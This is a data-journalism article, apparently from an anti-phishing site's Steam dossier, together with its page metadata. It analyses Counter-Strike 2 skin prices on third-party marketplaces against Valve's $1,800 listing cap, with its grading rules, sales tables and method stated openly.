scale\n0%\n25%\n50%\n75%\n100%\n100%\n96.9%\n95.9%\n97.3%\n91.1%\n76.8%\n14.5%\n2.9%\n1.5%\n0%\n0%\n0%\n4,632\n1¢–10¢\n7,152\n10¢–$1\n8,568\n$1–10\n5,941\n$10–100\n2,329\n$100–300\n1,292\n$300–1k\n193\n$1k–1.8k\n70\n$1.8k–3k\n67\n$3k–10k\n18\n$10k–30k\n3\n$30k–100k\n1\n$100k+\nitems\nlog\nVALVE’S LISTING CAP\nat or below Valve’s listing capabove the cap — Valve’s rule forbids the listingitem categories in the band\n\nCoverage means a live Steam ask existed for that category at the moment of capture. The lower panel is logarithmic because the catalogue is overwhelmingly cheap: reading it linearly would flatten every band above $300 into the baseline.\n\nWhat the shape rules out\n\nIf expensive items were simply unpopular, coverage would sag gradually as price rose. It does not. It holds at 76.8% through the $300–$1k band, then collapses to 14.5% in the band immediately beneath the cap and 2.9% in the band immediately above it. A demand effect does not know where Valve set its ceiling. A rule does.\n\nPrice band\tItem categories\tWith a live Steam ask\tSteam coverage\tCopies listed off Steam\n1¢–10¢\t4,632\t4,632\t100%\t8,223,227\n10¢–$1\t7,152\t6,931\t96.9%\t5,488,315\n$1–10\t8,568\t8,213\t95.9%\t3,939,538\n$10–100\t5,941\t5,780\t97.3%\t1,328,255\n$100–300\t2,329\t2,121\t91.1%\t364,466\n$300–1k\t1,292\t992\t76.8%\t187,504\n$1k–1.8k\t193\t28\t14.5%\t40,281\n$1.8k–3k\t70\t2\t2.9%\t9,592\n$3k–10k\t67\t1\t1.5%\t6,706\n$10k–30k\t18\t0\t0%\t1,366\n$30k–100k\t3\t0\t0%\t21\n$100k+\t1\t0\t0%\t2\n\nPattern and phase variants are excluded from this ladder: Steam does not list a blue-gem tier or a Ruby phase as its own market entry, so counting them would understate Steam’s coverage. Measured without the two-marketplace requirement the same ladder reads 79.1% below the cap and 6.5% above it across 37,204 items — a starker gap, built on weaker evidence, which is why it is not the figure quoted.\n\n02 / evidential grading\nAn asking price is not a price\n\nAnyone can list a P2000 for a round ten million yuan. Before a figure on this page is used for anything, it is graded by how many marketplaces independently quote the item above the cap and how tightly the middle of those quotes clusters. Only grades A and B are quoted — here or anywhere else in this dossier.\n\nA  Three or more shelves agree\n\nThree or more marketplaces quote the item above the cap and their median sits within 25% of the cheapest. 197 categories, 18,218 copies, $76,585,587.\n\nAbsent from Steam: 100.0%.\n\nB  Two shelves agree\n\nTwo marketplaces agree above the cap, or three agree less tightly. 51 categories, 176 copies, $2,038,814.\n\nAbsent from Steam: 100.0%.\n\nC  One shelf — not used\n\nA single marketplace carries the only above-cap ask. 171 categories, 247 copies. Shown in the gallery for completeness and excluded from every total on this page.\n\nThese are requests for a price, not evidence of one.\n\nWhat this correction cost, and what it bought\n\nDropping grade C removes 171 categories and $3,825,125 from the headline. What is left is smaller and much harder to argue with: 248 categories, 18,394 listed copies, $78,624,401, and 100.0% of them — every single one — absent from Valve’s market. The grade-C rows are the reason the figure moved; they are listed, not hidden.\n\nListings set aside as artefacts\n\nAny quote more than three times the cheapest ask on the same item is set aside. Converted at the rate the data itself implies, most of them are round CNY figures — the signature of a placeholder or a platform ceiling rather than an offer. Because every total on this page uses the cheapest ask, none of these figures could ever have inflated a number; they are excluded so that none of them can be quoted as a headline either.\n\nItem\tCheapest live ask\tSet aside\nSouvenir P2000 | Wicked Sick (Minimal Wear)\t$148,954\t$1,489,543\n★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 1\t$37,239\t$119,163\nSouvenir USP-S | Printstream (Factory New)\t$2,000\t$59,582\n★ Bowie Knife | Crimson Web (Factory New)\t$2,957\t$43,030\n★ Karambit | Marble Fade (Factory New) | 1st\t$11,916\t$38,874\nSticker | Ninjas in Pyjamas (Holo) | Katowice 2014\t$5,000\t$31,748\nSouvenir AWP | Dragon Lore (Battle-Scarred)\t$4,225\t$29,157\n★ Karambit | Doppler (Minimal Wear) | Ruby\t$7,122\t$27,273\nAll 419 categories, with the object each price refers to\n\nOpen the full visual catalogue and its source records online.\n\n04 / where it went instead\nThe shelves that carry what Steam will not\n\nThe same listings, grouped by the marketplace holding them. This is a count of where copies are listed, which is not the same as where they are owned and is not read here as such.\n\nFloor value of above-cap listings, by marketplace\nlowest ask x copies listed on that shelf\nYouPin 898\n$22,720,252\nBUFF163\n$22,022,606\nC5Game\n$12,560,543\nCSFloat\n$10,871,845\nSkinport\n$1,385,060\n\nJurisdictions, in the order above: YouPin 898 — China · BUFF163 — China · C5Game — China · CSFloat — United States · Skinport — Germany / Malta. The same physical item can be listed on more than one of these shelves, so these figures must not be summed with any other market total.\n\nFloor value by price tier\nhow the money is distributed above the cap\n$1.8k-3k\n$9,842,391\n$3k-10k\n$36,787,269\n$10k-50k\n$20,038,749\nover $50k\n$2,891,897\n05 / scarcity you can count\nHow thin the supply actually is\n\nEach CS2 item carries a wear value, and the marketplaces publish how many copies sit in each band of it. That turns “rare” from an adjective into a number — and it is the number that explains why a single compromised account is worth the effort of a bespoke phishing kit.\n\nAWP | Dragon Lore\n150 listed · from $11,350\n0.00–0.01\n29 · $14,730\n0.01–0.02\n54 · $11,618\n0.02–0.03\n26 · $11,350\n0.03–0.04\n25 · $11,618\n0.04–0.07\n16 · $11,585\n\nAWP | Dragon Lore (Factory New)\n\nM4A4 | Howl\n105 listed · from $6,628\n0.00–0.01\n11 · $10,725\n0.01–0.02\n14 · $8,088\n0.02–0.03\n11 · $7,580\n0.03–0.04\n19 · $6,703\n0.04–0.07\n50 · $6,628\n\nM4A4 | Howl (Factory New)\n\nAK-47 | Wild Lotus\n113 listed · from $14,373\n0.00–0.01\n25 · $22,343\n0.01–0.02\n11 · $19,364\n0.02–0.03\n3 · $19,645\n0.03–0.04\n15 · $15,044\n0.04–0.07\n59 · $14,373\n\nAK-47 | Wild Lotus (Factory New)\n\nAWP | Gungnir\n173 listed · from $11,618\n0.00–0.01\n28 · $17,875\n0.01–0.02\n21 · $13,600\n0.02–0.03\n32 · $12,065\n0.03–0.04\n29 · $11,735\n0.04–0.07\n63 · $11,618\n\nAWP | Gungnir (Factory New)\n\nAK-47 | Fire Serpent\n278 listed · from $663\n0.15–0.18\n87 · $730\n0.18–0.21\n49 · $712\n0.21–0.24\n52 · $703\n0.24–0.27\n18 · $715\n0.27–0.38\n72 · $663\n\nAK-47 | Fire Serpent (Field-Tested)\n\nCase Hardened (all tiers / blue gem)\n76 listed · from $1,638\n0.07–0.08\n1 · $2,516\n0.08–0.09\n4 · $2,482\n0.09–0.10\n6 · $3,856\n0.10–0.11\n7 · $2,797\n0.11–0.15\n58 · $1,638\n\nAK-47 | Case Hardened (Minimal Wear) | Tier 1\n\nBands are the marketplaces’ own float buckets; only bands with at least one live listing are drawn. The price beside each bar is the cheapest live ask in that band, so the premium attached to a low float is directly readable rather than asserted.\n\n06 / movement, measured off Steam\nWhat the third-party shelves actually realised\n\nValve publishes no usable history at this tier, and this dossier claims none. Skinport does publish its own completed sales over the trailing 24 hours, 7, 30 and 90 days, and that is the whole of the time dimension available here: a median realised price per trailing window, indexed so the 90-day median is 100. No Steam data is involved in either chart.\n\nMedian realised price, trailing window\nindexed to the 90-day median · 6,758 items with 20+ sales\n85\n91\n97\n103\n100\n90d\n94\n30d\n90\n7d\n88\n24h\nCompleted sales per day\nsame items, same windows\n7,621\n9,653\n11,684\n13,716\n12,700\n90d\n11,894\n30d\n9,540\n7d\n8,637\n24h\n\nThese are two charts rather than one with two vertical scales: an index and a daily count share no unit, and drawing them on a common axis would invite a comparison that is not valid. The windows are nested and trailing — the 90-day figure contains the 24-hour figure — so this is not a daily series and must not be read as one. What it supports is narrow and stated plainly: over the trailing windows Skinport published, the median realised price sat below its own 90-day median and the daily sale count fell with it.\n\nSkinport realised sales. The windows are nested and trailing, so each point is the median realised price over the trailing window, indexed to the 90-day median. It is not a daily series and no Steam data is involved.\n\n07 / what it is made of\nSixteen-year-old stickers and a handful of gloves\n\nThe set above the cap is not a broad slice of the game. It concentrates in a few rarities and a few collections, several of which can no longer be obtained at all — which is exactly why the supply cannot respond to the price.\n\nCategories above the cap, by rarity\ncount of item categories\nCovert\n321\nClassified\n39\nRestricted\n24\nContraband\n12\nMil-Spec Grade\n9\nConsumer Grade\n9\nIndustrial Grade\n5\nCategories above the cap, by collection\ntop ten collections\nThe St. Marc Collection\n13\nThe Cobblestone Collection\n13\nThe Norse Collection\n12\nThe Arms Deal Collection\n9\nThe Canals Collection\n7\nThe Gods and Monsters Collection\n6\nThe Revolution Collection\n4\nThe 2021 Train Collection\n4\nThe Rising Sun Collection\n4\nThe Chop Shop Collection\n4\n\nBy category: skin 366, sticker 48, container 3, sticker_slab 2.\n\n08 / the most anyone actually paid\nHighs backed by a transaction, not by a listing\n\nEvery other price on this page is an ask — what a seller wants. These are sales: the highest completed transaction Skinport recorded for each item, over the trailing 90 days. It is the only figure in this dossier that somebody actually paid, and each row links to the marketplace so the number can be checked against its source rather than against us.\n\n21,216items with a completed sale in the window\n106sold at or above Valve’s listing cap\n$14,192highest single completed sale\n67/419above-cap categories with any recorded sale\nThe thirty highest completed sales in the window\nItem\tHighest sale\tMedian sale\tSales\tCheapest ask now\tSteam\tCheck it\nAWP | Gungnir (Factory New)\t$14,192\t$11,343\t5\t$11,490\tabsent\tSkinport CSFloat Steam\nStatTrak™ M4A4 | Howl (Factory New)\t$12,387\t$12,387\t1\t$13,836\tabsent\tSkinport CSFloat Steam\nAWP | Dragon Lore (Factory New)\t$11,779\t$11,063\t16\t$10,941\tabsent\tSkinport CSFloat Steam\nAK-47 | Wild Lotus (Minimal Wear)\t$11,693\t$11,693\t1\t$9,946\tabsent\tSkinport CSFloat Steam\nAWP | Gungnir (Minimal Wear)\t$10,437\t$10,437\t1\t$9,610\tabsent\tSkinport CSFloat Steam\nStatTrak™ AK-47 | Blue Laminate (Minimal Wear)\t$9,772\t$37\t76\t$30\t$40\tSkinport CSFloat Steam\nStatTrak™ M4A4 | Howl (Minimal Wear)\t$9,463\t$9,463\t1\t$9,500\tabsent\tSkinport CSFloat Steam\nAWP | Dragon Lore (Minimal Wear)\t$9,104\t$9,026\t6\t$8,524\tabsent\tSkinport CSFloat Steam\n★ Sport Gloves | Hedge Maze (Minimal Wear)\t$8,139\t$8,139\t1\t$6,819\tabsent\tSkinport CSFloat Steam\nAK-47 | Wild Lotus (Field-Tested)\t$7,617\t$7,390\t4\t$7,194\tabsent\tSkinport CSFloat Steam\nStatTrak™ M4A4 | Howl (Field-Tested)\t$7,615\t$7,615\t1\t$7,100\tabsent\tSkinport CSFloat Steam\nAWP | Gungnir (Field-Tested)\t$7,149\t$7,006\t2\t$7,165\tabsent\tSkinport CSFloat Steam\nAWP | Dragon Lore (Field-Tested)\t$6,711\t$6,194\t15\t$5,988\tabsent\tSkinport CSFloat Steam\nM4A4 | Howl (Factory New)\t$6,679\t$6,613\t3\t$6,628\tabsent\tSkinport CSFloat Steam\n★ Sport Gloves | Superconductor (Factory New)\t$6,084\t$6,084\t1\t$7,969\tabsent\tSkinport CSFloat Steam\nAWP | Gungnir (Battle-Scarred)\t$5,750\t$5,413\t3\t$5,899\tabsent\tSkinport CSFloat Steam\n★ Sport Gloves | Pandora's Box (Minimal Wear)\t$5,520\t$5,508\t3\t$4,998\tabsent\tSkinport CSFloat Steam\n★ Sport Gloves | Vice (Factory New)\t$5,385\t$5,158\t2\t$5,700\tabsent\tSkinport CSFloat Steam\nM4A4 | Howl (Minimal Wear)\t$5,342\t$4,989\t19\t$4,997\tabsent\tSkinport CSFloat Steam\n★ Sport Gloves | Hedge Maze (Field-Tested)\t$5,334\t$4,862\t5\t$3,724\tabsent\tSkinport CSFloat Steam\nStatTrak™ AK-47 | Vulcan (Factory New)\t$5,275\t$1,418\t12\t$1,280\tabsent\tSkinport CSFloat Steam\nAK-47 | Wild Lotus (Well-Worn)\t$4,978\t$4,978\t1\t$4,942\tabsent\tSkinport CSFloat Steam\nAWP | Dragon Lore (Well-Worn)\t$4,931\t$4,931\t1\t$5,445\tabsent\tSkinport CSFloat Steam\nAK-47 | Hydroponic (Factory New)\t$4,802\t$4,351\t2\t$3,648\tabsent\tSkinport CSFloat Steam\n★ Talon Knife | Case Hardened (Minimal Wear)\t$4,588\t$466\t16\t$442\t$630\tSkinport CSFloat Steam\nAWP | Medusa (Factory New)\t$4,484\t$4,484\t1\t$4,171\tabsent\tSkinport CSFloat Steam\n★ Specialist Gloves | Pillow Punchers (Factory New)\t$4,359\t$4,359\t1\t$4,302\tabsent\tSkinport CSFloat Steam\n★ Sport Gloves | Pandora's Box (Field-Tested)\t$4,359\t$3,666\t11\t$3,245\tabsent\tSkinport CSFloat Steam\nM4A4 | Howl (Field-Tested)\t$4,289\t$4,225\t8\t$4,022\tabsent\tSkinport CSFloat Steam\nAWP | Dragon Lore (Battle-Scarred)\t$4,124\t$4,124\t1\t$4,279\tabsent\tSkinport CSFloat Steam\nSame item, same 90 days, wildly different price\n\nRestricted to items with a $100 median and at least five completed sales, because on a cheap skin one freak sale swamps the ratio. What is left is dominated by Case Hardened finishes, where the pattern decides the price and the marketplace files every pattern under one name — the same mechanism measured by float in section 05.\n\nItem\tHigh vs median\tHighest sale\tMedian sale\tSales\tCheck it\n★ Talon Knife | Case Hardened (Minimal Wear)\t+884%\t$4,588\t$466\t16\tSkinport CSFloat Steam\nDesert Eagle | Cobalt Disruption (Factory New)\t+859%\t$1,210\t$126\t115\tSkinport CSFloat Steam\nAWP | BOOM (Minimal Wear)\t+814%\t$1,232\t$135\t89\tSkinport CSFloat Steam\nAK-47 | Case Hardened (Well-Worn)\t+769%\t$1,720\t$198\t70\tSkinport CSFloat Steam\nAWP | Graphite (Factory New)\t+761%\t$1,469\t$171\t124\tSkinport CSFloat Steam\n★ Talon Knife | Case Hardened (Field-Tested)\t+509%\t$2,437\t$400\t48\tSkinport CSFloat Steam\n★ Kukri Knife | Case Hardened (Minimal Wear)\t+448%\t$723\t$132\t69\tSkinport CSFloat Steam\n★ Kukri Knife | Case Hardened (Field-Tested)\t+415%\t$549\t$106\t128\tSkinport CSFloat Steam\n★ Ursus Knife | Case Hardened (Minimal Wear)\t+371%\t$597\t$127\t12\tSkinport CSFloat Steam\nAK-47 | Case Hardened (Field-Tested)\t+369%\t$1,037\t$221\t125\tSkinport CSFloat Steam\nAK-47 | Red Laminate (Minimal Wear)\t+360%\t$552\t$120\t18\tSkinport CSFloat Steam\nAWP | Asiimov (Field-Tested)\t+351%\t$528\t$117\t439\tSkinport CSFloat Steam\nAK-47 | Vulcan (Field-Tested)\t+337%\t$865\t$198\t241\tSkinport CSFloat Steam\nStatTrak™ AK-47 | Nightwish (Factory New)\t+322%\t$625\t$148\t31\tSkinport CSFloat Steam\nAWP | Lightning Strike (Factory New)\t+319%\t$2,065\t$493\t198\tSkinport CSFloat Steam\nStatTrak™ AWP | Redline (Minimal Wear)\t+312%\t$574\t$139\t24\tSkinport CSFloat Steam\nStatTrak™ AWP | Asiimov (Battle-Scarred)\t+287%\t$524\t$135\t37\tSkinport CSFloat Steam\nAK-47 | Redline (Minimal Wear)\t+277%\t$562\t$149\t112\tSkinport CSFloat Steam\nAWP | Crakow! (Factory New)\t+275%\t$379\t$101\t72\tSkinport CSFloat Steam\nStatTrak™ AK-47 | Vulcan (Factory New)\t+272%\t$5,275\t$1,418\t12\tSkinport CSFloat Steam\n\nThis is a 90-day high, NOT an all-time high, and it covers ONE marketplace. No all-time figure is claimed anywhere in this dossier. An item with no Skinport sale in the window is absent from this exhibit entirely, which is why the set is smaller than the census.\n\nVerification links are built from the catalogue's own platform identifiers. They point at each marketplace's page for the item so a reader can check the figure against the source rather than against us. Outbound links carry rel=\"nofollow\": they are citations, not endorsements, and several of the destinations are marketplaces this investigation is critical of.\n\n09 / provenance and limits\nWhere this came from and what it cannot show\n\nEvery figure on this page is recomputed from two snapshot files whose hashes are published alongside them. Nothing here is transcribed from another site’s article.\n\nSource and access\n\ncs2.sh API, GET /v1/prices/latest and GET /v1/schema, single snapshot, captured 2026-09-23T00:44:27.871388581Z, priced in USD.\n\nThe data was obtained under a paid commercial subscription held by the GDPR requester documented in the archive, under the provider’s own terms. No marketplace was scraped and no credential of any marketplace was used. The requester’s key is held outside this repository and appears in no file here.\n\nHow an item qualifies\n\nEvery base item with at least one live ask on BUFF, CSFloat, Skinport, YouPin or C5Game is placed in a price band by its CHEAPEST such ask, so the band never depends on Steam. \"Steam coverage\" is the share of the items in that band carrying any live Steam ask at the moment of capture. Pattern and phase variants are excluded from the ladder because Steam does not list them separately; including them would understate Steam. Renders are the catalogue images for the same items, stored locally.\n\nRenders and image rights. Catalogue item renders are the provider's images served for the same market_hash_name as the price rows, stored locally for offline and IPFS display. The renders are not PhishDestroy's work: all item imagery, logos and screenshots remain the property of their respective owners (cs2.sh, CSFloat, Skinport, BUFF, YouPin, C5Game, Valve and others). They are reproduced solely for identification and public-interest reporting; no ownership or licence is claimed.\n\nWhat we could not obtain\n\nThe subscription tier used serves current snapshots only. Historical and archive endpoints were not available, and no historical series is claimed anywhere on this page beyond the trailing-window sales Skinport publishes itself in section 06.\n\nOne snapshot, not a time series. Absence of a Steam listing at the moment of capture is not proof an item may never appear there; it is the measured state of the shelf at that moment, and for prices above the cap it is also what Valve's published rule requires: Valve's Community Market explicitly caps listings at $1,800 per item (with a maximum Steam Wallet balance of $2,000; see Steam Community Market FAQ archived 2026-09-21 ↗ and Steam Subscriber Agreement § 3.C archived 2026-09-24 ↗).\n\nGrading\n\nAn item's price is always its cheapest live ask, so a high outlier can never inflate a total. Grading governs which rows may be quoted. Any quote more than three times the cheapest ask on the same item is set aside as not a live price. Grade A: three or more marketplaces still quote above the cap and their median sits within 25 per cent of the cheapest. Grade B: two marketplaces agree, or three agree less tightly. Grade C: a single shelf - an asking price, not a market price. Only grades A and B are quoted anywhere in this dossier.\n\nOutlier rule: quote > 3.0x the cheapest ask on the same item.\n\nWhy the totals are a floor\n\nFor each marketplace the item’s lowest ask is multiplied by the number of copies that shelf lists. Every other copy there is priced at or above that lowest ask, so the true posted value is higher by construction, not by estimate. It is not a sale, not a cash flow, and not a valuation of the CS2 economy.\n\nCheck it yourself\n\nThe derived datasets behind every chart on this page are published in full: the atlas dataset, the grading and artefact screen, the underlying census and the manifest with the SHA-256 of each raw snapshot.\n\nA correction recorded in the open\n\nAn earlier draft of the companion register led with a Souvenir AK-47 | Point Disarray asked at $148,954 on one Chinese marketplace while Steam priced it at $119. That row is grade C: a single shelf, a single copy, and no second marketplace agreeing. It is an asking price, not a price, and it has been demoted here and on that page. The corroborated leader is Sticker | Titan (Holo) | Katowice 2014 at $66,285, quoted by 4 marketplaces within 5.2% of each other — and absent from Steam entirely.",
        "headings": [
          {
            "level": 1,
            "text": "Skin Price-Ladder Atlas — The Liquidity Cliff",
            "anchor": "pd-skin_atlas--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas"
          },
          {
            "level": 2,
            "text": "The cliff lands on the rule, not on demand",
            "anchor": "pd-skin_atlas--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#cliff"
          },
          {
            "level": 3,
            "text": "What the shape rules out",
            "anchor": "pd-skin_atlas--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#cliff"
          },
          {
            "level": 2,
            "text": "An asking price is not a price",
            "anchor": "pd-skin_atlas--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#grading"
          },
          {
            "level": 3,
            "text": "A Three or more shelves agree",
            "anchor": "pd-skin_atlas--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#grading"
          },
          {
            "level": 3,
            "text": "B Two shelves agree",
            "anchor": "pd-skin_atlas--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#grading"
          },
          {
            "level": 3,
            "text": "C One shelf — not used",
            "anchor": "pd-skin_atlas--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#grading"
          },
          {
            "level": 3,
            "text": "What this correction cost, and what it bought",
            "anchor": "pd-skin_atlas--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#grading"
          },
          {
            "level": 3,
            "text": "Listings set aside as artefacts",
            "anchor": "pd-skin_atlas--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#grading"
          },
          {
            "level": 2,
            "text": "All 419 categories, with the object each price refers to",
            "anchor": "pd-skin_atlas--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#gallery"
          },
          {
            "level": 2,
            "text": "The shelves that carry what Steam will not",
            "anchor": "pd-skin_atlas--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#where"
          },
          {
            "level": 2,
            "text": "How thin the supply actually is",
            "anchor": "pd-skin_atlas--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#scarcity"
          },
          {
            "level": 2,
            "text": "What the third-party shelves actually realised",
            "anchor": "pd-skin_atlas--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#drift"
          },
          {
            "level": 2,
            "text": "Sixteen-year-old stickers and a handful of gloves",
            "anchor": "pd-skin_atlas--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#composition"
          },
          {
            "level": 2,
            "text": "Highs backed by a transaction, not by a listing",
            "anchor": "pd-skin_atlas--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#highs"
          },
          {
            "level": 3,
            "text": "The thirty highest completed sales in the window",
            "anchor": "pd-skin_atlas--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#highs"
          },
          {
            "level": 3,
            "text": "Same item, same 90 days, wildly different price",
            "anchor": "pd-skin_atlas--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#highs"
          },
          {
            "level": 2,
            "text": "Where this came from and what it cannot show",
            "anchor": "pd-skin_atlas--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#method"
          },
          {
            "level": 3,
            "text": "Source and access",
            "anchor": "pd-skin_atlas--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#method"
          },
          {
            "level": 3,
            "text": "How an item qualifies",
            "anchor": "pd-skin_atlas--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#method"
          },
          {
            "level": 3,
            "text": "What we could not obtain",
            "anchor": "pd-skin_atlas--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#method"
          },
          {
            "level": 3,
            "text": "Grading",
            "anchor": "pd-skin_atlas--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#method"
          },
          {
            "level": 3,
            "text": "Why the totals are a floor",
            "anchor": "pd-skin_atlas--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#method"
          },
          {
            "level": 3,
            "text": "Check it yourself",
            "anchor": "pd-skin_atlas--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#method"
          },
          {
            "level": 3,
            "text": "A correction recorded in the open",
            "anchor": "pd-skin_atlas--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas#method"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "Open the full visual catalogue and its source records online.",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas#gallery"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Gungnir%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Gungnir%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Gungnir%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Dragon%20Lore%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Dragon%20Lore%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AK-47%20%7C%20Wild%20Lotus%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Wild%20Lotus%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Wild%20Lotus%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Gungnir%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Gungnir%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Gungnir%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=StatTrak%E2%84%A2%20AK-47%20%7C%20Blue%20Laminate%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Blue%20Laminate%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/StatTrak%E2%84%A2%20AK-47%20%7C%20Blue%20Laminate%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Dragon%20Lore%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Dragon%20Lore%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AK-47%20%7C%20Wild%20Lotus%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Wild%20Lotus%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Wild%20Lotus%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Gungnir%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Gungnir%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Gungnir%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Dragon%20Lore%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Dragon%20Lore%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=M4A4%20%7C%20Howl%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
